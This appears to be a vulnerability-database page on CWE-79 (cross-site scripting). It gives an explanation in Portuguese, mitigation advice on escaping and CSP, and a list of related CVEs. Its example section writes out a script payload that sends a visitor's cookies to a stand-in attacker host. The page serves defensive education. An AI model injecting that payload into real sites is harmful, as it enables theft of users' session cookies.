Fallos del tipo CWE-79

28.675 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-5264MEDIUMReflected XSS in security compromised page of PrestaShopEPSS 0.8%CVE-2022-31048MEDIUMCross-Site Scripting in Form FrameworkEPSS 0.8%CVE-2021-4081MEDIUMCross-site Scripting (XSS) - Reflected in pimcore/pimcoreEPSS 0.8%CVE-2021-3961HIGHCross-site Scripting (XSS) - Stored in snipe/snipe-itEPSS 0.8%CVE-2021-36869MEDIUMWordPress Ivory Search plugin <= 4.6.6 - Reflected Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2024-21690HIGHThis High severity Reflected XSS and CSRF (Cross-Site Request Forgery) vulnerability was introduced in versions 7.19.0, 7.20.0, 8.0.0, 8.1.0EPSS 0.8%CVE-2022-31049MEDIUMCross-Site Scripting in Frontend Login MailerEPSS 0.8%CVE-2020-5265MEDIUMReflected XSS on AdminAttributesGroups page of PrestaShopEPSS 0.8%CVE-2023-2406MEDIUMEvent Registration Calendar By vcita <= 1.3.1 & Online Payments – Get Paid with PayPal, Square & Stripe <= 3.9.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.8%CVE-2021-20186—It was found in Moodle before version 3.10.1, 3.9.4, 3.8.7 and 3.5.16 that if the TeX notation filter was enabled, additional sanitizing of EPSS 0.8%CVE-2022-37721CRITICALPyroCMS 3.9 is vulnerable to a stored Cross Site Scripting (XSS_ when a low privileged user such as an author, injects a crafted html and jaEPSS 0.8%CVE-2022-2340—W-DALIL <= 2.0 - Admin+ Stored Cross-Site ScriptingEPSS 0.8%CVE-2023-27572MEDIUMAn issue was discovered in CommScope Arris DG3450 Cable Gateway AR01.02.056.18_041520_711.NCS.10. A reflected XSS vulnerability was discoverEPSS 0.8%CVE-2022-2341—Simple Page Transition <= 1.4.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.8%CVE-2022-24710MEDIUMCross-site Scripting in WeblateEPSS 0.8%CVE-2024-29931HIGHWordPress WP Go Maps plugin <= 9.0.29 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2022-39240MEDIUMImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in MyGraphEPSS 0.8%CVE-2024-47854MEDIUMAn XSS vulnerability was discovered in Veritas Data Insight before 7.1. It allows a remote attacker to inject an arbitrary web script into aEPSS 0.8%CVE-2024-26092MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.8%CVE-2022-1772—Google Places Review < 2.0.0 - Admin+ Stored Cross Site ScriptingEPSS 0.8%